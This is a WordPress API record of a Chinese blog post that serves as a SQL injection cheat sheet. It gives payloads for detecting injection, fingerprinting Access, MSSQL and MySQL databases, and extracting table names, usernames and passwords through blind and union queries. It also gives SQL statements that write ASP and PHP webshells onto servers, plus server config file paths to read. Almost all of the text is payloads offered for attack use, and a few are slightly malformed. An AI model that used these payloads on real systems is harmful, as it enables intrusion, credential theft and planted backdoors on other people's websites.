\u7b80\u5355\u5224\u5b9a\u6709\u65e0\u6f0f\u6d1e\uff1a
\n\u7c97\u7565\u578b\uff1a\u63d0\u4ea4\u5355\u5f15\u53f7’
\n\u903b\u8f91\u578b\uff08\u6570\u5b57\u578b\u6ce8\u5165\uff09\uff1aand 1=1\/and 1=2
\n\u903b\u8f91\u578b\uff08\u5b57\u7b26\u578b\u6ce8\u5165\uff09\uff1a’ and ‘1’=’1\/’ and ‘1’=’2
\n\u903b\u8f91\u578b\uff08\u641c\u7d22\u578b\u6ce8\u5165\uff09\uff1a%’ and 1=1 and ‘%’=’%\/%’ and 1=2 and ‘%’=’%<\/p>\n
\u7b80\u5355\u5224\u65ad\u6570\u636e\u5e93\u4fe1\u606f\uff1a
\n\u7c97\u7565\u578b\uff1a
\n\u52a0\u5355\u5f15\u53f7’\uff08\u6839\u636e\u670d\u52a1\u5668\u62a5\u9519\u7684\u4fe1\u606f\u6765\u5224\u65ad\uff09
\n\u52a0;–\uff08;\u8868\u793a\u5206\u79bb\uff0c– \u5219\u662f\u6ce8\u91ca\u7b26\uff0c;\u548c–MSSQL\u6570\u636e\u5e93\u6709\uff0cACCESS\u6570\u636e\u5e93\u6ca1\u6709\uff09
\n\u903b\u8f91\u578b\uff1a
\nand user>0
\nand (select count(*) from msysobjects)>0 \u2026\u2026\uff08\u9875\u9762\u9519\u8bef\u4e3aaccess\u6570\u636e\u5e93\uff09
\nand (select count(*) from sysobjects)>0 \u2026\u2026\uff08\u9875\u9762\u6b63\u5e38\u4e3aMSSQL\u6570\u636e\u5e93\uff09
\nand db_name()>0 \u2026\u2026\uff08\u7206\u6570\u636e\u5e93\u540d\uff09
\nand version>0\uff08\u7206SQLServer\u7248\u672c\u4fe1\u606f\u4ee5\u53ca\u670d\u52a1\u5668\u64cd\u4f5c\u7cfb\u7edf\u7684\u7c7b\u578b\u548c\u7248\u672c\u4fe1\u606f\uff09
\n\u5224\u65adMSSQL\u6743\u9650\uff1a
\nand 0<>\uff08Select ISSRVROLEMEMBER\uff08’sysadmin’\uff09\uff09–\uff08\u9875\u9762\u6b63\u5e38\u5219\u4e3aSA\uff09
\nand 0<>\uff08Select IS_MEMBER\uff08’db_owner’\uff09\uff09–\uff08\u9875\u9762\u6b63\u5e38\u5219\u4e3adb_owner\uff09
\nand 0<>\uff08Select IS_MEMBER\uff08’public’\uff09\uff09–\uff08\u9875\u9762\u6b63\u5e38\u5219\u662fpublic\uff09
\n\u6ce8\u610f\uff1a
\n\u4ee5\u4e0a\u65b9\u6cd5\u9002\u7528\u4e8e\u53c2\u6570\u662fint\u6570\u5b57\u578b\u7684\u65f6\u5019\u3002
\n\u82e5\u4e3a\u5b57\u7b26\u578b\uff0c\u9700\u5728\u53c2\u6570\u540e\u6dfb\u52a0\u5355\u5f15\u53f7’\u5e76\u5728\u67e5\u8be2\u8bed\u53e5\u540e\u6dfb\u52a0;–\uff0c\u641c\u7d22\u578b\u6ce8\u5165\u4ee5\u6b64\u7c7b\u63a8\u3002<\/p>\n
ACCESS\u6ce8\u5165\u57fa\u672c\u6d41\u7a0b\uff1a
\n\u731c\u89e3\u8868\u540d\uff1a
\nand 0<>(select count(*) from \u8868\u540d)\u6216 and exists\uff08Select * from \u8868\u540d\uff09
\n\u731c\u89e3\u5b57\u6bb5\uff1a
\nand exists\uff08Select \u5b57\u6bb5\u540d from \u8868\u540d\uff09\uff08\u9875\u9762\u6b63\u5e38\u5b58\u5728\u8be5\u5b57\u6bb5\uff0c\u4e0d\u6b63\u5e38\u4e0d\u5b58\u5728\u8be5\u5b57\u6bb5\uff09
\n\u731c\u89e3\u7528\u6237\u540d\u548c\u5bc6\u7801\u957f\u5ea6\uff1a
\nand\uff08Select top 1 len\uff08\u5217\u540d\uff09 from \u8868\u540d\uff09>N
\n\uff08TOP\u8868\u793a\u628a\u6700\u524d\u9762\u7684\u4e00\u6761\u8bb0\u5f55\u63d0\u53d6\u51fa\u6765\uff1bN\u4e3a\u53d8\u6362\u731c\u89e3\u7684\u5217\u957f\u5ea6\uff0c\u9875\u9762\u9519\u8bef\u5373\u8bf4\u660e\u8be5\u5217\u957f\u5ea6\u4e3aN\uff09
\n\u5982\uff1a
\nand 1=(select count(*) from user where len(name)>6) \u9519\u8bef
\nand 1=(select count(*) from user where len(name)>5) \u6b63\u786e
\n\u5219\u8868\u793auser\u8868\u4e2dname\u5b57\u6bb5\u7684\u7b2c\u4e00\u6761\u8bb0\u5f55\u7684\u957f\u5ea6\u662f6\u3002
\n\u731c\u89e3\u7528\u6237\u540d\u548c\u5bc6\u7801\uff1a
\nand (select top 1 asc(mid(\u5217\u540d,1,1)) from \u8868\u540d)>0
\n\u5982\uff1a
\nand (select top 1 asc(mid(name,1,1)) from user)>96 \u9875\u9762\u6b63\u5e38
\nand (select top 1 asc(mid(name,1,1)) from user)>97 \u9875\u9762\u9519\u8bef
\n\u5219\u8868\u793auser\u8868\u4e2dname\u5b57\u6bb5\u7684\u7b2c\u4e00\u6761\u8bb0\u5f55\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\u7684ASCLL\u7801\u4e3a97
\n\u6ce8\u610f\uff1a
\n\u56e0\u4e3aMD5\u7684\u5bc6\u6587\u957f\u5ea6\u901a\u5e38\u670916\u4f4d\u300118\u4f4d\u300132\u4f4d\u300140\u4f4d\u7b49\u51e0\u79cd\uff0c
\n\u6240\u4ee5\u731c\u89e3\u5bc6\u7801\u7684\u65f6\u5019\u8bd5\u4e00\u8bd515\u300116\u300117\u300118\u300131\u300132\u300139\u300140\u7b49\u957f\u5ea6\u53ef\u4ee5\u52a0\u5feb\u731c\u89e3\u8fdb\u5ea6\u3002<\/p>\n
MSSQL\u62a5\u9519\u6ce8\u5165\u57fa\u672c\u6d41\u7a0b\uff1a
\n\u7206\u51fa\u8868\u540d\u548c\u5b57\u6bb5\uff1ahaving 1=1–<\/p>\n
\u731c\u89e3\u8868\u540d\uff1a
\n\u83b7\u5f97\u7b2c\u4e00\u4e2a\u8868\u540d\uff1a
\nand (select top 1 name from sysobjects where xtype=’u’)>0
\n\u83b7\u5f97\u7b2c\u4e8c\u4e2a\u8868\u540d\uff1a
\nand (select top 1 name from sysobjects where xtype=’u’ and name not in (‘user’))>0
\n\u4ee5\u6b64\u7c7b\u63a8\u3002<\/p>\n
\u731c\u89e3\u5217\u540d\uff1a
\n\u5f97\u5230col_name\u8868\u4e2d\u7684\u7b2c\u4e00\u4e2a\u5217\u540d\uff1a
\nand (select top 1 col_name(object_id(‘\u5b57\u6bb5’),1) from sysobjects)>0
\n\u731c\u89e3\u5b57\u6bb5\u5185\u5bb9\uff1a
\nand (select top 1 \u5217\u540d from [\u8868\u540d])>0
\n\u5982\uff1a
\n\u83b7\u53d6\u7528\u6237\u540d\uff1a
\nand (select top 1 username from [admin])>0
\n\u83b7\u53d6\u5bc6\u7801\uff1a
\nand (select top 1 password from [admin])>0
\n\u5bfc\u51fawebshell\uff1a
\n\u65b9\u6cd51\uff1a\u5229\u7528SQL\u6267\u884c\u547d\u4ee4\u529f\u80fd\u5bfc\u51faWebShell
\nSELECT ‘<%execute request(“a”)%>’ into [vote] in ‘d:webx.asp;.xls’ ‘excel 8.0;’ from vote
\n\u6ce8\u610f\uff1a\u9700\u62e5\u6709SQL\u6267\u884c\u6743\u9650\u4e14\u77e5\u9053\u7edd\u5bf9\u8def\u5f84
\n\u65b9\u6cd52\uff1a
\n\u5efa\u7acb\u4e00\u4e2a\u6709\u4e00\u4e2aA\u5b57\u6bb5\u7684\u8868 \u8868\u540d\u4e3aa\uff0c\u5b57\u6bb5\u7c7b\u578b\u4e3a\u5b57\u7b26\uff0c\u957f\u5ea6\u4e3a50\u3002
\n\u5728\u8868A\u7684a\u5b57\u6bb5\u63d2\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u628a\u8868a\u7684\u5185\u5bb9\u5bfc\u51fa\u4e3a\u7269\u7406\u8def\u5f84\u7684\u4e00\u4e2aEXCEL\u6587\u4ef6\u3002
\n\u5bfc\u51fa\u4e3aEXCEL\u540e\u5728\u5229\u7528IIS\u89e3\u6790\u6f0f\u6d1e\u5c31\u53ef\u4ee5\u53d8\u6210webshell\u4e86\u3002
\n\u65b9\u6cd52\u7684SQL\u8bed\u53e5\uff1a
\ncreate table cmd (a varchar(50))
\ninsert into cmd (a) values (‘<%execute request(“listentide”)%>’)
\nselect * into [a] in ‘f:hostqhdyxtweba.asp;.xls’ ‘excel 4.0;’ from cmd
\ndrop table cmd<\/p>\n
MYSQL\u6ce8\u5165\u57fa\u672c\u6d41\u7a0b\uff1a
\nMYSQL\u6ce8\u5165\u6f0f\u6d1e\u662f\u5426\u5b58\u5728\u7684\u5224\u65ad\u65b9\u6cd5\u4e0eACCESS\u6ce8\u5165\u548cMSSQL\u6ce8\u5165\u76f8\u540c\u3002
\nMYSQL\u6ce8\u5165\u6f0f\u6d1e\u7684\u6570\u636e\u5e93\u7c7b\u578b\u5224\u65ad\u65b9\u6cd5\u4e5f\u53ef\u4ee5\u4f7f\u7528\u5355\u5f15\u53f7’\u3002<\/p>\n
\u6570\u636e\u5e93\u6743\u9650\u5224\u65ad\uff1a
\nand ord(mid(user(),1,1))=114 \/* \uff08\u9875\u9762\u6b63\u5e38\u8bf4\u660e\u4e3aroot\uff09
\n\u5224\u65ad\u5f53\u524d\u9875\u9762\u5b57\u6bb5\u603b\u6570\uff1a
\n\u65b9\u6cd51\u3001\u7528union\u8054\u5408\u67e5\u8be2\uff1aand 1=1 union select 1,2,3,4,5\u2026\u2026
\n\u65b9\u6cd52\u3001\u7528order by \u67e5\u8be2\u201corder by *–
\n\u5224\u65ad\u663e\u793a\u4f4d\uff1a
\n\u65b9\u6cd51\u3001www.f4ck.org\/article.php?id=1 and 1=2 union select 1,2,3,4,5,6,7\u2026\u2026
\n\u65b9\u6cd52\u3001www.f4ck.org\/article.php?id=-1 union select 1,2,3,4,5,6,7\u2026\u2026<\/p>\n
\u67e5\u5e93\uff1a
\n\u7248\u672c\u5927\u4e8e5.0\u7684mysql\u7684information_schema\u5e93\u4e2d\u5b58\u50a8\u7740mysql\u7684\u6240\u6709\u6570\u636e\u5e93\u548c\u8868\u7ed3\u6784\u4fe1\u606f\uff0c\u6240\u4ee5\u53ef\u4ee5\u5229\u7528information_schema\u5e93\u5feb\u901f\u6ce8\u5165\u3002
\n\u83b7\u53d6\u7b2c\u4e00\u4e2a\u5e93\u540d\uff1a
\nand 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
\n\u83b7\u53d6\u7b2c\u4e8c\u4e2a\u5e93\u540d\uff1a
\nand 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 1,2
\n\u4ee5\u6b64\u7c7b\u63a8\u3002
\n\u67e5\u8868\uff1a
\n\u83b7\u53d6\u6570\u636e\u5e93\u4e2d\u7b2c\u4e00\u4e2a\u8868\u540d\uff1a
\nand 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=\u6570\u636e\u5e93\u540d\u7684\u5341\u516d\u8fdb\u5236 limit 0,1
\n\u83b7\u53d6\u6570\u636e\u5e93\u4e2d\u7b2c\u4e8c\u4e2a\u8868\u540d\uff1a
\nand 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=\u6570\u636e\u5e93\u540d\u7684\u5341\u516d\u8fdb\u5236 limit 1,2<\/p>\n
\u67e5\u5217\uff1a
\n\u83b7\u53d6\u6570\u636e\u5e93\u4e2d\u6307\u5b9a\u8868\u7684\u7b2c\u4e00\u4e2a\u5217\u540d\uff1a
\nand 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=\u8868\u540d\u7684\u5341\u516d\u8fdb\u5236 limit 0,1
\n\u83b7\u53d6\u6570\u636e\u5e93\u4e2d\u6307\u5b9a\u8868\u7684\u7b2c\u4e8c\u4e2a\u5217\u540d\uff1a
\nand 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=\u8868\u540d\u7684\u5341\u516d\u8fdb\u5236 limit 0,1
\n\u5f97\u5230\u5b57\u6bb5\u5185\u5bb9\uff1a
\n\u5728\u4e0d\u540c\u7684\u663e\u793a\u4f4d\u663e\u793a\u4e0d\u540c\u7684\u5b57\u6bb5\u5185\u5bb9\uff1a
\nand 1=2 Union select 1,2,3,\u7528\u6237\u540d\u6bb5,5,6,7,\u5bc6\u7801\u6bb5,8,9 from \u8868\u540d limit 0,1
\n\u5728\u540c\u4e00\u4e2a\u663e\u793a\u4f4d\u663e\u793a\u4e0d\u540c\u7684\u5b57\u6bb5\u5185\u5bb9\uff1a
\nand 1=2 Union select 1,2,3concat(\u7528\u6237\u540d\u6bb5,0x3c,\u5bc6\u7801\u6bb5),5,6,7,8,9 from \u8868\u540d limit 0,1
\n\u4e00\u6b21\u6027\u67e5\u51fa\u6240\u6709\u8868\u540d\uff1a
\nunion select 1,2,3,4,GROUP_CONCAT(DISTINCT table_name),6 from information_schema.columns where table_schema=\u6570\u636e\u5e93\u540d\u768416\u8fdb\u5236
\n\u4e00\u6b21\u6027\u67e5\u51fa\u6240\u6709\u5b57\u6bb5\u540d\uff1a
\nunion select 1,2,3,4,GROUP_CONCAT(DISTINCT column_name),6 from information_schema.columns where table_schema=\u6570\u636e\u5e93\u540d\u768416\u8fdb\u5236
\n\u5bfc\u51fa\u4e00\u53e5\u8bdd<\/p>\n
WebShell\uff1a
\n\u65b9\u6cd51\uff1a
\nDrop TABLE IF EXISTS temp;
\nCreate TABLE temp(cmd text NOT NULL);
\nInsert INTO temp (cmd) VALUES(”);
\nSelect cmd from temp into out file ‘F:\/wwwroot\/eval.php’;
\nDrop TABLE IF EXISTS temp;
\n\u65b9\u6cd52\uff1a
\nSelect ” into outfile ‘F:\/wwwroot\/eval.php’;<\/p>\n
load_file() \u5e38\u7528\u8def\u5f84\uff1a
\nc:\/windows\/system32\/inetsrv\/MetaBase.xml \u67e5\u770bIIS\u7684\u865a\u62df\u4e3b\u673a\u914d\u7f6e\u6587\u4ef6
\n\/etc\/httpd\/conf\/httpd.conf\u6216\/usr\/local\/apche\/conf\/httpd.conf \u67e5\u770blinux APACHE\u865a\u62df\u4e3b\u673a\u914d\u7f6e\u6587\u4ef6
\nc:\/Program Files\/Apache Group\/Apache\/conf\/httpd.conf \u6216C:\/apache\/conf\/httpd.conf \u67e5\u770bWINDOWS\u7cfb\u7edfapache\u7684\u914d\u7f6e\u6587\u4ef6
\nc:\/Resin-3.0.14\/conf\/resin.conf\u67e5\u770bjsp\u5f00\u53d1\u7684\u7f51\u7ad9 resin\u6587\u4ef6\u914d\u7f6e\u4fe1\u606f<\/p>\n","protected":false},"excerpt":{"rendered":"
\u7b80\u5355\u5224\u5b9a\u6709\u65e0\u6f0f\u6d1e\uff1a \u7c97\u7565\u578b\uff1a\u63d0\u4ea4\u5355\u5f15\u53f7’ \u903b\u8f91\u578b\uff08\u6570\u5b57\u578b\u6ce8\u5165\uff09\uff1aand 1=1\/and 1=2 \u903b […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[180],"tags":[324],"_links":{"self":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/441"}],"collection":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=441"}],"version-history":[{"count":1,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/441\/revisions"}],"predecessor-version":[{"id":442,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/441\/revisions\/442"}],"wp:attachment":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=441"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=441"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=441"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}